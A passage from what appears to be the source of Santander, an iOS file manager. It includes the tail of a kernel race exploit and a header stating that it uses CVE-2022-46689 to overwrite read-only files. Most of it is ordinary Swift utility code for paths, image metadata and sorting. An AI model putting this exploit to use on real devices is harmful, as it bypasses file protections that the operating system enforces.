case KERN_PROTECTION_FAILURE:
/* the target was RO */
kern_protection_failure++;
break;
default:
/* should not happen */
kern_other++;
break;
}
/* check that our read-only memory was not modified */
#if 0
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");
#endif
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
/* tell racing thread to stop toggling mappings */
pthread_mutex_lock(&ctx->mtx);
/* clean up before next loop */
vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
ctx->e0 = 0;
vm_deallocate(mach_task_self(), e2, ctx->obj_size);
e2 = 0;
if (!is_still_equal) {
retval = true;
fprintf(stderr, "RO mapping was modified\n");
break;
}
}
ctx->done = true;
pthread_mutex_unlock(&ctx->mtx);
pthread_join(th, NULL);
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
#if 0
T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
kern_success, kern_protection_failure, kern_other);
T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
#endif
return retval;
}
================================================
FILE: Santander/Other/Exploit/vm_unaligned_copy_switch_race.h
================================================
#pragma once
#include <stdlib.h>
#include <stdbool.h>
/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
/// `page_to_overwrite` should be a page aligned `PROT_READ` `MAP_SHARED` region. ``
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);
================================================
FILE: Santander/Other/Extensions.swift
================================================
//
// Extensions.swift
// Santander
//
// Created by Serena on 21/06/2022
//
// TODO: - Move all of this to other files, with separate files for each extension
import UIKit
import UniformTypeIdentifiers
import ApplicationsWrapper
extension URL {
func regularFileAllocatedSize() throws -> UInt64 {
let resourceValues = try self.resourceValues(forKeys: allocatedSizeResourceKeys)
// We only look at regular files.
guard resourceValues.isRegularFile ?? false else {
return 0
}
return UInt64(resourceValues.totalFileAllocatedSize ?? resourceValues.fileAllocatedSize ?? 0)
}
var contents: [URL] {
// if not readable, invoke the root helper to get the contents
if !isReadable {
return (try? RootConf.shared.contents(of: resolvedURL)) ?? []
}
let _contents = try? FileManager.default.contentsOfDirectory(at: self.resolvedURL, includingPropertiesForKeys: [])
return _contents ?? []
}
var isDirectory: Bool {
return (try? resolvedURL.resourceValues(forKeys: [.isDirectoryKey]).isDirectory) ?? false
}
var creationDate: Date? {
try? resourceValues(forKeys: [.creationDateKey]).creationDate
}
var lastModifiedDate: Date? {
try? resourceValues(forKeys: [.contentModificationDateKey]).contentModificationDate
}
var lastAccessedDate: Date? {
try? resourceValues(forKeys: [.contentAccessDateKey]).contentAccessDate
}
/// The date to which the item was added to it's parent directory
var addedToDirectoryDate: Date? {
try? resourceValues(forKeys: [.addedToDirectoryDateKey]).addedToDirectoryDate
}
var size: Int? {
if isDirectory {
var _size: Int = 0
for content in contents {
_size += content.size ?? 0
}
return _size
}
return try? resourceValues(forKeys: [.fileSizeKey]).fileSize
}
var contentType: UTType? {
return try? resourceValues(forKeys: [.contentTypeKey]).contentType
}
/// Display name of the URL path
var displayName: String {
return FileManager.default.displayName(atPath: self.path)
}
/// The URL, resolved if a symbolic link
var resolvedURL: URL {
return (try? URL(resolvingAliasFileAt: self)) ?? self
}
static let root: URL = URL(fileURLWithPath: "/")
static let home: URL = URL(fileURLWithPath: NSHomeDirectory())
var isSymlink: Bool {
return (try? FileManager.default.destinationOfSymbolicLink(atPath: self.path)) != nil
}
var isReadable: Bool {
return FileManager.default.isReadableFile(atPath: self.path)
}
func setPermissions(forOwner owner: Permission, group: Permission = [], others: Permission = []) throws {
let octal = Permission.octalRepresentation(of: [owner, group, others])
try FSOperation.perform(.setPermissions(url: self, newOctalPermissions: octal), rootHelperConf: RootConf.shared)
}
/// Returns an array of complete URLs to the URL's path components
func fullPathComponents() -> [URL] {
var arr: [URL] = []
let components = self.pathComponents
for indx in components.indices {
let item = components[components.startIndex...indx]
.joined(separator: "/")
.replacingOccurrences(of: "//", with: "/")
if item.isEmpty {
continue
}
arr.append(URL(fileURLWithPath: item))
}
return arr
}
var containsAppUUIDSubpaths: Bool {
return pathComponents.contains("Containers") || pathComponents.contains("containers")
}
var applicationItem: LSApplicationProxy? {
if self.pathExtension == "app" {
return ApplicationsManager.shared.application(forBundleURL: self)
}
return ApplicationsManager.shared.application(forContainerURL: self) ?? ApplicationsManager.shared.application(forDataContainerURL: self)
}
}
#if targetEnvironment(simulator)
fileprivate let applicationPaths: [String] = [URL.home.deletingLastPathComponent().path]
#else
fileprivate let applicationPaths: [String] = [
"/private/var/containers/Bundle/Application",
"/private/var/mobile/Containers/Data",
"/private/var/mobile/Containers/Data/Application"
]
#endif
extension UIViewController {
func errorAlert(
_ errorDescription: String?,
title: String,
presentingFromIfAvailable presentingVC: UIViewController? = nil,
cancelAction: UIAlertAction = .cancel(title: "OK")
) {
var message: String? = nil
if let errorDescription = errorDescription {
message = "Error occured: \(errorDescription)"
}
let alert = UIAlertController(title: title, message: message, preferredStyle: .alert)
alert.addAction(cancelAction)
let vcToPresentFrom = presentingVC ?? self
vcToPresentFrom.present(alert, animated: true)
}
func errorAlert(
_ error: Error,
title: String,
presentingFromIfAvailable presentingVC: UIViewController? = nil,
cancelAction: UIAlertAction = .cancel(title: "OK")
) {
self.errorAlert(error.localizedDescription, title: title, presentingFromIfAvailable: presentingVC, cancelAction: cancelAction)
}
func configureNavigationBarToNormal() {
let navigationBarAppearance = UINavigationBarAppearance()
navigationBarAppearance.configureWithDefaultBackground()
navigationController?.navigationBar.compactAppearance = navigationBarAppearance
navigationController?.navigationBar.scrollEdgeAppearance = navigationBarAppearance
}
/// Presents the Activity View Controller, with code to make sure it doesn't crash on iPad
func presentActivityVC(forItems items: [Any]) {
let vc = UIActivityViewController(activityItems: items, applicationActivities: nil)
vc.popoverPresentationController?.sourceView = view
let bounds = view.bounds
vc.popoverPresentationController?.sourceRect = CGRect(x: bounds.midX, y: bounds.midY, width: 0, height: 0)
self.present(vc, animated: true)
}
func createAlertWithSpinner(title: String, message: String? = nil, heightAnchorConstant: CGFloat = 95) -> UIAlertController {
let alertController = UIAlertController(title: title, message: message, preferredStyle: .alert)
let spinner = UIActivityIndicatorView()
spinner.translatesAutoresizingMaskIntoConstraints = false
spinner.startAnimating()
alertController.view.addSubview(spinner)
NSLayoutConstraint.activate([
alertController.view.heightAnchor.constraint(equalToConstant: heightAnchorConstant),
spinner.centerXAnchor.constraint(equalTo: alertController.view.centerXAnchor),
spinner.bottomAnchor.constraint(equalTo: alertController.view.bottomAnchor, constant: -20),
])
return alertController
}
func saveImage(_ image: UIImage) {
UIImageWriteToSavedPhotosAlbum(image, self, #selector(didSaveImage(_:error:context:)), nil)
}
@objc
func didSaveImage(_ im: UIImage, error: Error?, context: UnsafeMutableRawPointer?) {
if let error = error {
errorAlert(error, title: "Unable to save image")
}
}
}
extension UIMenu {
func appending(_ element: UIMenuElement) -> UIMenu {
var children = self.children
children.append(element)
return self.replacingChildren(children)
}
}
extension UIAlertAction {
static func cancel(title: String = "Cancel", handler: (() -> Void)? = nil) -> UIAlertAction {
UIAlertAction(title: title, style: .cancel) { _ in
handler?()
}
}
}
extension FileManager {
/// Calculate the allocated size of a directory and all its contents on the volume.
///
/// As there's no simple way to get this information from the file system the method
/// has to crawl the entire hierarchy, accumulating the overall sum on the way.
/// The resulting value is roughly equivalent with the amount of bytes
/// that would become available on the volume if the directory would be deleted.
///
/// - note: There are a couple of oddities that are not taken into account (like symbolic links, meta data of
/// directories, hard links, ...).
func allocatedSizeOfDirectory(at directoryURL: URL) throws -> UInt64 {
// The error handler simply stores the error and stops traversal
var enumeratorError: Error? = nil
func errorHandler(_: URL, error: Error) -> Bool {
enumeratorError = error
return false
}
// We have to enumerate all directory contents, including subdirectories.
let enumerator = self.enumerator(at: directoryURL,
includingPropertiesForKeys: Array(allocatedSizeResourceKeys),
options: [],
errorHandler: errorHandler)!
// We'll sum up content size here:
var accumulatedSize: UInt64 = 0
// Perform the traversal.
for item in enumerator {
// Bail out on errors from the errorHandler.
if enumeratorError != nil { break }
// Add up individual file sizes.
let contentItemURL = item as! URL
accumulatedSize += try contentItemURL.regularFileAllocatedSize()
}
// Rethrow errors from errorHandler.
if let error = enumeratorError { throw error }
return accumulatedSize
}
}
fileprivate let allocatedSizeResourceKeys: Set<URLResourceKey> = [
.isRegularFileKey,
.fileAllocatedSizeKey,
.totalFileAllocatedSizeKey,
]
extension NSNotification.Name {
static var pathGroupsDidChange: NSNotification.Name {
return NSNotification.Name("pathGroupsDidChange")
}
}
extension Date {
func listFormatted() -> String {
if #available(iOS 15.0, *) {
return self.formatted(date: .long, time: .shortened)
} else {
let dateFormatter = DateFormatter()
dateFormatter.dateStyle = .long
dateFormatter.timeStyle = .short
return dateFormatter.string(from: self)
}
}
}
extension Collection {
subscript(safe safeIndex: Index) -> Element? {
return self.indices.contains(safeIndex) ? self[safeIndex] : nil
}
}
extension UTType {
public static func generictypes() -> [UTType] {
return [
.content,
.image,
.video,
.text,
.audio,
.movie,
.sourceCode,
.executable
]
}
public static func audioTypes() -> [UTType] {
return [
.mp3,
.aiff,
.wav,
.midi
]
}
public static func programmingTypes() -> [UTType] {
var arr: [UTType] = [
.swiftSource,
.assemblyLanguageSource,
.cSource,
.objectiveCSource,
.objectiveCPlusPlusSource,
.cPlusPlusSource,
.cHeader,
.cPlusPlusHeader,
.script,
.shellScript,
.javaScript,
.pythonScript,
.rubyScript,
.perlScript,
.phpScript
]
// UTType.makefile is 15+
if #available(iOS 15.0, *) {
arr.append(.makefile)
}
return arr
}
public static func compressedFormatTypes() -> [UTType] {
return [
.zip,
.gzip,
.bz2
]
}
public static func imageTypes() -> [UTType] {
return [
.png,
.gif,
.jpeg,
.webP,
.tiff,
.bmp,
.svg,
.heif
]
}
public static func documentTypes() -> [UTType] {
return [
.json,
.yaml,
.rtf,
.xml,
.propertyList,
.pdf
]
}
public static func systemTypes() -> [UTType] {
return [
.bundle,
.application,
.framework,
.log,
.database,
.diskImage,
.package
]
}
public static func executableTypes() -> [UTType] {
return [
.executable,
UTType(filenameExtension: "dylib")
]
.compactMap { $0 }
}
/// Checks whether the type is equal to the type given in the parameters
/// or a parameter of said type
func isOfType(_ type: UTType) -> Bool {
return type == self || self.isSubtype(of: type)
}
}
extension UITableViewController {
func indexPaths(forSection section: Int) -> [IndexPath] {
let allRows = self.tableView(tableView, numberOfRowsInSection: section)
return (0..<allRows).map { row in
return IndexPath(row: row, section: section)
}
}
func cellWithView(_ view: UIView, text: String, rightAnchorConstant: CGFloat = -20) -> UITableViewCell {
let cell = UITableViewCell()
var conf = cell.defaultContentConfiguration()
conf.text = text
cell.contentConfiguration = conf
view.translatesAutoresizingMaskIntoConstraints = false
cell.contentView.addSubview(view)
NSLayoutConstraint.activate([
view.rightAnchor.constraint(equalTo: cell.contentView.rightAnchor, constant: rightAnchorConstant),
view.centerYAnchor.constraint(equalTo: cell.contentView.centerYAnchor)
])
return cell
}
/// A title view for a header, containing a button and a title
func sectionHeaderWithButton(
sectionTag: Int,
titleText: String?,
buttonCustomization: (UIButton) -> Void
) -> UIView {
let view = UIView()
let label = UILabel()
let button = UIButton()
buttonCustomization(button)
button.tag = sectionTag
label.text = titleText
label.font = .systemFont(ofSize: 18, weight: .bold)
label.translatesAutoresizingMaskIntoConstraints = false
button.translatesAutoresizingMaskIntoConstraints = false
view.addSubview(label)
view.addSubview(button)
NSLayoutConstraint.activate([
label.leadingAnchor.constraint(equalTo: view.leadingAnchor, constant: 10),
label.topAnchor.constraint(equalTo: view.topAnchor, constant: 10),
button.trailingAnchor.constraint(equalTo: view.trailingAnchor, constant: -5),
button.topAnchor.constraint(equalTo: view.topAnchor, constant: 5),
])
return view
}
/// Returns a UIView of a footer view of the tableView's seperator color
func seperatorFooterView() -> UIView {
let result = UIView()
// recreate insets from existing ones in the table view
let insets = tableView.separatorInset
let width = tableView.bounds.width - insets.left - insets.right
let sepFrame = CGRect(x: insets.left, y: -0.5, width: width, height: 0.5)
// create layer with separator, setting color
let sep = CALayer()
sep.frame = sepFrame
sep.backgroundColor = tableView.separatorColor?.cgColor
result.layer.addSublayer(sep)
return result
}
func deleteURL(_ path: Path, completionHandler: @escaping (Bool) -> Void) {
let confirmationController = UIAlertController(title: "Are you sure you want to delete \"\(path.lastPathComponent)\"?", message: nil, preferredStyle: .alert)
let deleteAction = UIAlertAction(title: "Delete", style: .destructive) { _ in
do {
try FSOperation.perform(.removeItems(items: [path.url]), rootHelperConf: RootConf.shared)
completionHandler(true)
} catch {
self.errorAlert(error, title: "Failed to delete \"\(path.lastPathComponent)\"")
completionHandler(false)
}
}
let cancelAction: UIAlertAction = .cancel {
completionHandler(false)
}
confirmationController.addAction(deleteAction)
confirmationController.addAction(cancelAction)
self.present(confirmationController, animated: true)
}
}
extension UIImage {
func imageWith(newSize: CGSize) -> UIImage {
let image = UIGraphicsImageRenderer(size: newSize).image { _ in
draw(in: CGRect(origin: .zero, size: newSize))
}
return image.withRenderingMode(renderingMode)
}
}
extension UIAction {
convenience init(withClosure closure: @escaping () -> Void) {
self.init { _ in
closure()
}
}
}
// why the hell is this not built in already?
extension Optional: Comparable where Wrapped: Comparable {
public static func < (lhs: Optional, rhs: Optional) -> Bool {
guard let lhs = lhs, let rhs = rhs else {
return false
}
return lhs < rhs
}
}
extension UITableView.Style: CaseIterable, CustomStringConvertible {
static var userPreferred: UITableView.Style {
return UITableView.Style(rawValue: UserPreferences.preferredTableViewStyle) ?? .insetGrouped
}
public static var allCases: [UITableView.Style] = [.insetGrouped, .grouped, .plain]
public var description: String {
switch self {
case .plain:
return "Plain"
case .grouped:
return "Grouped"
case .insetGrouped:
return "Inset Grouped"
@unknown default:
return "Unknown Mode"
}
}
}
extension Array where Element: OptionSet {
// bizzare! see https://forums.swift.org/t/reducing-array-optionset-to-optionset/4438/8
func reducingToSingleOptionSet() -> Element {
return self.reduce(Element()) { return $0.union($1) }
}
}
extension passwd {
init?(fileURLOwner fileURL: URL) {
var buffer = stat()
guard lstat(fileURL.path, &buffer) == 0, let pwd = getpwuid(buffer.st_uid)?.pointee else {
return nil
}
self = pwd
}
}
extension UIUserInterfaceStyle: CaseIterable {
public static var allCases: [UIUserInterfaceStyle] = [.unspecified, .dark, .light]
var description: String {
switch self {
case .unspecified:
return "System"
case .light:
return "Light"
case .dark:
return "Dark"
@unknown default:
return "Unknown Mode"
}
}
}
extension UITableViewCell {
func colorCircleAccessoryView(color: UIColor) -> UIView {
let colorPreview = UIView(frame: CGRect(x: 0, y: 0, width: 29, height: 29))
colorPreview.backgroundColor = color
colorPreview.layer.cornerRadius = colorPreview.frame.size.width / 2
colorPreview.layer.borderWidth = 1.5
colorPreview.layer.borderColor = UIColor.systemGray.cgColor
return colorPreview
}
}
extension Dictionary where Key == String, Value == SerializedItemType {
func asAnyDictionary() -> [String: Any] {
var dict: [String: Any] = [:]
for (key, value) in self {
dict[key] = value.representedObject
}
return dict
}
}
extension Dictionary where Key == String, Value == Any {
func asSerializedDictionary() -> SerializedDictionaryType {
var dict: SerializedDictionaryType = [:]
for (key, value) in self {
dict[key] = SerializedItemType(item: value)
}
return dict
}
}
extension UIDevice {
static let isiPad = current.userInterfaceIdiom == .pad
}
extension DateFormatter {
/// A Date Formatter which could be used to format dates
/// used in EXIF metadata
static let EXIFDateFormatter = DateFormatter(withFormat: "yyyy:MM:dd HH:mm:ss")
static let IPTCDateFormatter = DateFormatter(withFormat: "yyyyMMdd")
convenience init(withFormat dateFormat: String) {
self.init()
self.dateFormat = dateFormat
}
}
extension UIApplication {
var sceneKeyWindow: UIWindow? {
return UIApplication.shared
.connectedScenes
.flatMap { ($0 as? UIWindowScene)?.windows ?? [] }
.first { $0.isKeyWindow }
}
}
extension CTFontDescriptor {
var uiFont: UIFont {
return CTFontCreateWithFontDescriptor(self, UserPreferences.fontViewerFontSize, nil) as UIFont
}
}
extension UIPasteboard {
var probableURL: URL? {
if let url = url { return url }
if let string = string, string.hasPrefix("/") { return URL(fileURLWithPath: string) }
return nil
}
}
extension UIApplication {
func setShortcutItems<URLCollection: Collection<Path>>(intoURLs urls: URLCollection) {
shortcutItems = urls.map { bookmark in
return UIApplicationShortcutItem(type: bookmark.url.absoluteString,
localizedTitle: bookmark.lastPathComponent,
localizedSubtitle: bookmark.path,
icon: nil,
userInfo: ["ShortcutURLToOpenTo": bookmark.path] as [String: NSSecureCoding])
}
}
}
extension Array<Path> {
func toURL() -> [URL] {
map(\.url)
}
}
================================================
FILE: Santander/Other/GoToItem.swift
================================================
//
// GoToItem.swift
// Santander
//
// Created by Serena on 24/10/2022
//
import UIKit
/// An item displayed for the user in the "Go to.." menu
struct GoToItem: Hashable {
/// The dictionary to describe Go To Items which may or may not exist (as in, the URL path itself may or may not exist on disk)
private typealias MayExistDictionary = [String: (URL?, UIImage?)]
let displayName: String
let url: URL
let image: UIImage?
init(displayName: String, url: URL, image: UIImage?) {
self.displayName = displayName
self.url = url
self.image = image
}
// this is here to make code below easier to read
private static func _searchPathDirURL(_ searchPath: FileManager.SearchPathDirectory) -> URL? {
return FileManager.default.urls(for: searchPath, in: .userDomainMask).first
}
private static func _generateAll() -> [GoToItem] {
// these items always exist and will always be displayed
let coreItems: [GoToItem] = [
GoToItem(displayName: "Root", url: URL(fileURLWithPath: "/var/root"), image: nil),
GoToItem(displayName: "Home", url: .home, image: UIImage(systemName: "house"))
]
let mayExistDict: MayExistDictionary = [
"Applications": (_searchPathDirURL(.applicationDirectory), .appsDirectory),
"Library": (_searchPathDirURL(.libraryDirectory), .libraryDirectory),
"Documents": (_searchPathDirURL(.documentDirectory), .documentDirectory),
"Downloads": (_searchPathDirURL(.downloadsDirectory), .downloadsDirectory)
]
let mayExistItems: [GoToItem] = mayExistDict.compactMap { (key, value) in
let (url, image) = value
guard let url = url, FileManager.default.fileExists(atPath: url.path) else {
return nil
}
return GoToItem(displayName: key, url: url, image: image)
}
return coreItems + mayExistItems
}
static let all = _generateAll()
}
fileprivate extension UIImage {
static let appsDirectory = UIImage(systemName: "app.dashed")
static let libraryDirectory = UIImage(systemName: "books.vertical")
static let documentDirectory = UIImage(systemName: "doc")
static let downloadsDirectory = UIImage(systemName: "arrow.down.circle")
}
================================================
FILE: Santander/Other/ImageMetadata.swift
================================================
//
// ImageMetadata.swift
// Santander
//
// Created by Serena on 24/08/2022.
//
import Foundation
import ImageIO
import CoreLocation
// warning: tons of `[String: Any]` usage ahead.
/// A Class containing metadata of an image at a specified URL
class ImageMetadata {
let pixelWidth: Int?
let pixelHeight: Int?
var location: ImageLocation
let exifInfo: ImageExifInfo?
let cameraInfo: ImageCameraInfo?
let dateTimeTaken: Date?
/// The dictionary containing all values
var dictionary: [String: Any]
func setProperties(toDictionary newDict: [String: Any], forFileURL fileURL: URL) -> Bool {
guard let imageSource = CGImageSourceCreateWithURL(fileURL as CFURL, nil),
let type = CGImageSourceGetType(imageSource),
let dest = CGImageDestinationCreateWithURL(fileURL as CFURL, type, 1, nil)
else {
return false
}
CGImageDestinationAddImageFromSource(dest, imageSource, 0, newDict as CFDictionary)
if CGImageDestinationFinalize(dest) {
self.dictionary = newDict
return true
} else {
return false
}
}
convenience init?(fileURL: URL) {
guard let imageSource = CGImageSourceCreateWithURL(fileURL as CFURL, nil),
let dict = CGImageSourceCopyPropertiesAtIndex(imageSource, 0, nil) as? [String: Any] else {
return nil
}
self.init(dictionary: dict)
}
init(dictionary dict: [String: Any]) {
self.pixelWidth = dict[kCGImagePropertyPixelWidth as String] as? Int
self.pixelHeight = dict[kCGImagePropertyPixelHeight as String] as? Int
if let exifDict = dict[kCGImagePropertyExifDictionary as String] as? [String: Any] {
self.exifInfo = ImageExifInfo(exifDict: exifDict)
} else {
self.exifInfo = nil
}
if let gpsDict = dict[kCGImagePropertyGPSDictionary as String] as? [String: Any] {
let lat = gpsDict[kCGImagePropertyGPSLatitude as String] as? CLLocationDegrees
let long = gpsDict[kCGImagePropertyGPSLongitude as String] as? CLLocationDegrees
self.location = ImageLocation(lat: lat, long: long)
} else {
self.location = ImageLocation(lat: nil, long: nil)
}
if let tiffDict = dict[kCGImagePropertyTIFFDictionary as String] as? [String: Any] {
self.cameraInfo = ImageCameraInfo(tiffDictionary: tiffDict)
if let dateTime = tiffDict[kCGImagePropertyTIFFDateTime as String] as? String {
self.dateTimeTaken = DateFormatter.EXIFDateFormatter.date(from: dateTime)
} else {
self.dateTimeTaken = nil
}
} else {
self.cameraInfo = nil
self.dateTimeTaken = nil
}
self.dictionary = dict
// print(dict)
}
}
struct ImageLocation {
var lat: CLLocationDegrees?
var long: CLLocationDegrees?
var coordinate: CLLocationCoordinate2D? {
guard let lat = lat, let long = long else {
return nil
}
return CLLocationCoordinate2D(latitude: lat, longitude: long)
}
}
/// Contains the information about the image's camera.
struct ImageCameraInfo {
let manufacturer: String?
let model: String?
let softwareVersion: String?
init(tiffDictionary: [String: Any]) {
self.manufacturer = tiffDictionary[kCGImagePropertyTIFFMake as String] as? String
self.model = tiffDictionary[kCGImagePropertyTIFFModel as String] as? String
self.softwareVersion = tiffDictionary[kCGImagePropertyTIFFSoftware as String] as? String
}
}
struct ImageExifInfo {
let apertureValue: Double?
let brightnessValue: Double?
let lensModel: String?
let lensManufacturer: String?
init(exifDict: [String: Any]) {
self.apertureValue = exifDict[kCGImagePropertyExifApertureValue as String] as? Double
self.brightnessValue = exifDict[kCGImagePropertyExifBrightnessValue as String] as? Double
self.lensModel = exifDict[kCGImagePropertyExifLensModel as String] as? String
self.lensManufacturer = exifDict[kCGImagePropertyExifLensMake as String] as? String
}
}
================================================
FILE: Santander/Other/LoadingValueState.swift
================================================
//
// LoadingValueState.swift
// Santander
//
// Created by Serena on 08/11/2022
//
import Foundation
/// Describes the state of a value which can be loaded in the UI asynchronously,
/// ie, loading the size of a path
enum LoadingValueState<Value> {
case loading
case unavailable
case value(Value)
}
================================================
FILE: Santander/Other/Path.swift
================================================
//
// Path.swift
// Santander
//
// Created by Serena on 10/02/2023.
//
import UIKit
import UniformTypeIdentifiers
import ApplicationsWrapper
struct Path: Hashable, ExpressibleByStringLiteral {
static let resourceKeys: Set<URLResourceKey> = [.isDirectoryKey, .contentTypeKey]
static let root: Path = "/"
static let home: Path = Path(url: URL(fileURLWithPath: NSHomeDirectory()))
var url: URL
var lastPathComponent: String
var isDirectory: Bool
var contentType: UTType?
lazy var size = _getSize()
lazy var displayImage: UIImage? = _displayImage()
/// A Dictionary containing the systemName for icons for of certain UTTypes
static let iconsDictionary: [UTType: String] = [
.text: "doc.text",
.image: "photo",
.audio: "waveform",
.video: "play",
.movie: "play",
.executable: "terminal"
]
static func isUType(_ type: UTType, ofAnotherType another: UTType) -> Bool {
return type == another || type.isSubtype(of: another)
}
var path: String {
url.path
}
var displayName: String {
FileManager.default.displayName(atPath: url.path)
}
var pathExtension: String {
return url.pathExtension
}
var containsAppUUIDSubpaths: Bool {
return url.pathComponents.contains("Containers") || url.pathComponents.contains("containers")
}
func deletingLastPathComponent() -> Path {
return Path(url: url.deletingLastPathComponent())
}
func deletingPathExtension() -> Path {
return Path(url: url.deletingPathExtension())
}
func appendingPathExtension(_ ext: String) -> Path {
return Path(url: url.appendingPathExtension(ext))
}
func appendingPathComponent(_ component: String) -> Path {
return Path(url: url.appendingPathComponent(component))
}
func appendingPathComponent(_ component: String) -> URL {
return url.appendingPathComponent(component)
}
var resolvedURL: URL {
return (try? URL(resolvingAliasFileAt: url)) ?? url
}
var contents: [Path] {
let urls = (try? FileManager.default.contentsOfDirectory(at: url, includingPropertiesForKeys: nil)) ?? []
return urls.map { url in
Path(url:url)
}
}
var applicationItem: LSApplicationProxy? {
if pathExtension == "app" {
return ApplicationsManager.shared.application(forBundleURL: self.url)
}
return ApplicationsManager.shared.application(forContainerURL: self.url) ?? ApplicationsManager.shared.application(forDataContainerURL: self.url)
}
private func _getSize() -> Int? {
if isDirectory {
var _size: Int = 0
for var content in contents {
_size += content.size ?? 0
}
return _size
}
return try? url.resourceValues(forKeys: [.fileSizeKey]).fileSize
}
var isReadable: Bool {
return FileManager.default.isReadableFile(atPath: url.path)
}
private func _displayImage() -> UIImage? {
if isDirectory {
return UIImage(systemName: "folder.fill")
} else {
// `UTType.data` is a generic type,
// return the generic symbol for files for it.
guard let type = self.contentType, type != .data else {
return UIImage(systemName: "doc")
}
let imageName = Self.iconsDictionary.first { (key, _) in
Self.isUType(type, ofAnotherType: key)
}
return UIImage(systemName: imageName?.value ?? "doc")
}
}
init(url: URL) {
self.url = url
self.lastPathComponent = url.lastPathComponent
let resourceValues = try? url.resourceValues(forKeys: Self.resourceKeys)
self.isDirectory = resourceValues?.isDirectory ?? false
self.contentType = resourceValues?.contentType
}
init(stringLiteral value: StringLiteralType) {
self.init(url: URL(fileURLWithPath: value))
}
}
================================================
FILE: Santander/Other/PathMetadata.swift
================================================
//
// PathMetadata.swift
// Santander
//
// Created by Serena on 04/08/2022.
//
import Foundation
import UniformTypeIdentifiers
/// Describes the information about a given path
struct PathMetadata {
/// The resource values to fetch
static let resourceValueKeys: Set<URLResourceKey> = [
.creationDateKey, .contentAccessDateKey, .addedToDirectoryDateKey, .contentModificationDateKey,
.contentTypeKey
]
/// The date the path was created
let creationDate: Date?
/// The date the path was added to it's parent directory
let addedToDirectoryDate: Date?
/// The date this path was last modified
let lastModifiedDate: Date?
/// The date this path was last accessed
let lastAccessedDate: Date?
/// The type of the path
let contentType: UTType?
/// The applied permissions of the path
var permissions: PathPermissions?
init(filePath path: Path, resourceValues: Set<URLResourceKey> = resourceValueKeys) {
let resourceValues = try? path.url.resourceValues(forKeys: resourceValues)
self.creationDate = resourceValues?.creationDate
self.addedToDirectoryDate = resourceValues?.addedToDirectoryDate
self.lastModifiedDate = resourceValues?.contentModificationDate
self.lastAccessedDate = resourceValues?.contentAccessDate
self.contentType = resourceValues?.contentType
self.permissions = PathPermissions(fileURL: path.url)
}
}
================================================
FILE: Santander/Other/PathTransitioning.swift
================================================
//
// PathTransitioning.swift
// Santander
//
// Created by Serena on 12/10/2022
//
import Foundation
/// A Protocol describing an object which can move from it's current path to another
protocol PathTransitioning {
func goToPath(path: Path)
}
================================================
FILE: Santander/Other/PathType.swift
================================================
//
// PathType.swift
// Santander
//
// Created by Serena on 27/06/2022
//
import UIKit
extension UIViewController {
/// Presents an alert to create a new path based on the path type
func presentAlertAndCreate(type: PathType, forURL url: URL) {
let alert = UIAlertController(title: "New \(type.description)", message: nil, preferredStyle: .alert)
alert.addTextField { textField in
textField.placeholder = "name"
}
let createAction = UIAlertAction(title: "Create", style: .default) { _ in
guard let name = alert.textFields?.first?.text, !name.isEmpty else {
return
}
let urlToCreate = url.appendingPathComponent(name)
do {
switch type {
case .file:
try FSOperation.perform(.createFile(files: [urlToCreate]), rootHelperConf: RootConf.shared)
case .directory:
try FSOperation.perform(.createDirectory(directories: [urlToCreate]), rootHelperConf: RootConf.shared)
}
} catch {
self.errorAlert(error, title: "Unable to create \(name)")
}
}
alert.addAction(.cancel())
alert.addAction(createAction)
self.present(alert, animated: true)
}
}
enum PathType: CustomStringConvertible {
case file, directory
var description: String {
switch self {
case .file:
return "file"
case .directory:
return "directory"
}
}
}
================================================
FILE: Santander/Other/PathsSortMethods.swift
================================================
//
// PathsSortMethods.swift
// Santander
//
// Created by Serena on 24/06/2022
//
import Foundation
/// The ways to sort given subpaths
enum PathsSortMethods: String, CaseIterable, CustomStringConvertible {
case alphabetically
case size
case type
case dateCreated
case dateModified
case dateAccessed
case dateAdded
static var userPrefered: PathsSortMethods? {
if let string = UserDefaults.standard.string(forKey: "SubPathsSortMode"), let sortMode = PathsSortMethods(rawValue: string) {
return sortMode
}
return nil
}
var description: String {
switch self {
case .alphabetically:
return "Alphabetical order"
case .size:
return "Size"
case .type:
return "Type"
case .dateCreated:
return "Date created"
case .dateModified:
return "Date modified"
case .dateAccessed:
return "Date accessed"
case .dateAdded:
return "Date Added"
}
}
/// Sorts an array of URLs with the current sort method
func sorting(URLs urls: [Path], sortOrder: SortOrder) -> [Path] {
return urls.sorted { (first: Path, second: Path) in
let ascending: Bool
let firstURL = first.url
let secondURL = second.url
switch self {
case .alphabetically:
ascending = firstURL.lastPathComponent < secondURL.lastPathComponent
case .size:
ascending = firstURL.size > secondURL.size
case .type:
return firstURL.contentType == secondURL.contentType
case .dateCreated:
ascending = firstURL.creationDate > secondURL.creationDate
case .dateModified:
ascending = firstURL.lastModifiedDate > secondURL.lastModifiedDate
case .dateAccessed:
ascending = firstURL.lastAccessedDate > secondURL.lastAccessedDate
case .dateAdded:
ascending = firstURL.addedToDirectoryDate > secondURL.addedToDirectoryDate
}
if sortOrder == .descending {
return !ascending
}
return ascending
}
}
}
enum SortOrder: String, CaseIterable, CustomStringConvertible {
case ascending, descending
init(rawValue: String) {
switch rawValue.lowercased() {
